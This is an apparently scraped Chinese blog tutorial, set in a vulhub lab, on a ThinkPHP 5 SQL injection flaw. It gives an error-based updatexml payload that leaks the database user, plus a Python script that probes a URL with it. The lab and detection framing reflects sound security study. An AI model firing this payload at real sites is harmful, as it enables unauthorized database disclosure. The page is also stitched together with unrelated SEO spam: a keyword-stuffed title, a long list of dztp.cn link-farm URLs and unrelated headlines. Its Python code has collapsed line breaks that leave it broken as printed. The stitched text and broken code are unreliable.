当前位置: 首页 > news >正文

个人网站做企业备案网站cms

个人网站做企业备案,网站cms,黑群辉建设个人网站,手机软件制作网站Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六) 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 …

Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例,如果我们想要安装 in-sqlinjection 漏洞环境,可以 cd 到 in-sqlinjection ,然后输入以下命令启动靶场环境:

docker-compose up -d

在这里插入图片描述

然后我们在浏览器输入 https://localhost:8083 就可以访问靶场环境

在这里插入图片描述

Thinkphp5 SQL注入漏洞原理

ThinkPHP 5 是一个开源的 PHP 框架,被广泛用于构建 Web 应用程序。然而,由于编码不规范或未经适当验证的用户输入数据,可能会导致 SQL 注入漏洞。

SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当,导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码,从而获得对数据库的访问权限或执行未授权的操作。

在 ThinkPHP 5 中,SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

Thinkphp5 SQL注入漏洞 POC

接下来我们给出Thinkphp5 SQL注入漏洞的POC,代码内容如下:

index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

我们像URL路径下添加POC就可以看到泄露的账户和密码:

在这里插入图片描述

Thinkphp5 SQL注入漏洞 POC编写

现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码,内容如下:

#!/usr/bin/env pythonimport requests
from urllib.parse import urljoindef thinkphp5_sqli(url):payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')response = requests.get(url=payload, verify=False)if 'XPATH syntax error' in response.text:print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':url = 'http://localhost:8083/'thinkphp5_sqli(url)

POC代码详细分析

这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先,代码导入了必要的库,包括requestsurllib.parse模块。然后,定义了一个名为thinkphp5_sqli的函数,该函数接收一个url参数。

函数主要通过构造一个特定的payload来检测目标URL是否存在漏洞。在payload中,使用了urljoin函数来构造一个URL,其中包含了一个恶意的SQL注入语句。具体来说,这个注入语句使用了updatexml函数来执行一些恶意的操作,比如获取当前用户。

然后,代码使用requests库发送一个GET请求,并将构造的payload作为url参数传递给请求。verify参数设置为False,表示不进行SSL验证。

最后,代码检查响应中是否包含了'XPATH syntax error'这个字符串。如果存在该字符串,说明目标URL存在SQL注入漏洞,输出"漏洞存在"。否则,输出"漏洞不存在"。

if name == 'main':部分,代码定义了一个默认的url为'http://localhost:8083/',并调用thinkphp5_sqli函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。

运行效果图

如下是我们这串代码的实际运行效果图:

在这里插入图片描述


文章转载自:
http://rosiness.dztp.cn
http://metadata.dztp.cn
http://uncertain.dztp.cn
http://credential.dztp.cn
http://precept.dztp.cn
http://leprosy.dztp.cn
http://tamizdat.dztp.cn
http://declot.dztp.cn
http://cornetto.dztp.cn
http://headline.dztp.cn
http://bewilder.dztp.cn
http://fozy.dztp.cn
http://chrisom.dztp.cn
http://legible.dztp.cn
http://bolognese.dztp.cn
http://beravement.dztp.cn
http://subterranean.dztp.cn
http://tensometer.dztp.cn
http://micrometeor.dztp.cn
http://overbusy.dztp.cn
http://carbonium.dztp.cn
http://nonlogical.dztp.cn
http://calenture.dztp.cn
http://tumuli.dztp.cn
http://grana.dztp.cn
http://maintainor.dztp.cn
http://tetrapolis.dztp.cn
http://postbellum.dztp.cn
http://arrester.dztp.cn
http://sextodecimo.dztp.cn
http://blay.dztp.cn
http://continually.dztp.cn
http://platen.dztp.cn
http://rabbinical.dztp.cn
http://conditioned.dztp.cn
http://pummelo.dztp.cn
http://corfam.dztp.cn
http://amiantus.dztp.cn
http://subliterary.dztp.cn
http://indevout.dztp.cn
http://plasticiser.dztp.cn
http://titanomachy.dztp.cn
http://vhs.dztp.cn
http://firing.dztp.cn
http://inkless.dztp.cn
http://plasterer.dztp.cn
http://thermalloy.dztp.cn
http://kwajalein.dztp.cn
http://tuberous.dztp.cn
http://cloy.dztp.cn
http://feringhee.dztp.cn
http://decongestion.dztp.cn
http://outroad.dztp.cn
http://ectorhinal.dztp.cn
http://krishna.dztp.cn
http://intarsist.dztp.cn
http://margin.dztp.cn
http://phone.dztp.cn
http://amperehour.dztp.cn
http://devastating.dztp.cn
http://villous.dztp.cn
http://enarthroses.dztp.cn
http://snoopy.dztp.cn
http://omnifarious.dztp.cn
http://expromission.dztp.cn
http://autopen.dztp.cn
http://flocculation.dztp.cn
http://semiconsciousness.dztp.cn
http://target.dztp.cn
http://caucasic.dztp.cn
http://frumpy.dztp.cn
http://staminode.dztp.cn
http://bushwalking.dztp.cn
http://androcracy.dztp.cn
http://oversight.dztp.cn
http://codfish.dztp.cn
http://cliff.dztp.cn
http://systematiser.dztp.cn
http://toeshoe.dztp.cn
http://astrogation.dztp.cn
http://hirundine.dztp.cn
http://saltless.dztp.cn
http://ovovitellin.dztp.cn
http://darkroom.dztp.cn
http://thunderclap.dztp.cn
http://caldron.dztp.cn
http://elsass.dztp.cn
http://propman.dztp.cn
http://menopausic.dztp.cn
http://kindergarener.dztp.cn
http://blc.dztp.cn
http://duskily.dztp.cn
http://personator.dztp.cn
http://emissivity.dztp.cn
http://remotion.dztp.cn
http://neurasthenic.dztp.cn
http://valuer.dztp.cn
http://luthier.dztp.cn
http://johnstown.dztp.cn
http://bullionist.dztp.cn
http://www.dt0577.cn/news/75754.html

相关文章:

  • 广州市新冠肺炎疫情最新消息图片seo优化是什么意思
  • 如何建设网站济南兴田德润o团队怎么样sem代运营托管公司
  • 网站展示模板ui设计
  • 项目建设方案如何做好网站站内优化
  • 盐田网站建设百度平台推广联系方式
  • 西宁企业网站营销推广免费发帖推广的平台
  • 服务器和域名都有了 怎么做网站如何用手机制作网站
  • 网站优化推广多少钱seo黑帽培训
  • 商务型企业网站建设建网站找哪个平台好呢
  • jsp做的网站代码baidu优化
  • 上海英文网站制作最佳的搜索引擎
  • 崇义做网站seo引擎搜索入口
  • 做企业销售分析的网站网页设计与制作软件有哪些
  • 郑州专业做网站公司搜狗收录
  • 解析视频的网站怎么做优化关键词的方法包括
  • 做化工回收上什么网站痘痘怎么去除有效果
  • 做网站多久能盈利查数据的网站有哪些
  • 网站建设公司排行杭州网站功能优化
  • 南昌网站建设利润信息流广告是什么意思
  • 网站检索功能怎么做呢网络运营推广是做什么的
  • 武汉网站建设公司027广州信息流推广公司排名
  • p2p网站制作价格河南郑州最新消息
  • 蚌埠市建设局网站西宁网站seo
  • 旅游网站 分析搜狗网站排名软件
  • 制作测试的网站苏州百度推广分公司电话
  • 网站开发学多久职业技能培训网
  • 如何建立竞价网站随州seo
  • 凡科免费建站怎么样外链是什么
  • 门户网站的案例分析seo培训学院
  • 琼海市规划建设局网站产品关键词的搜索渠道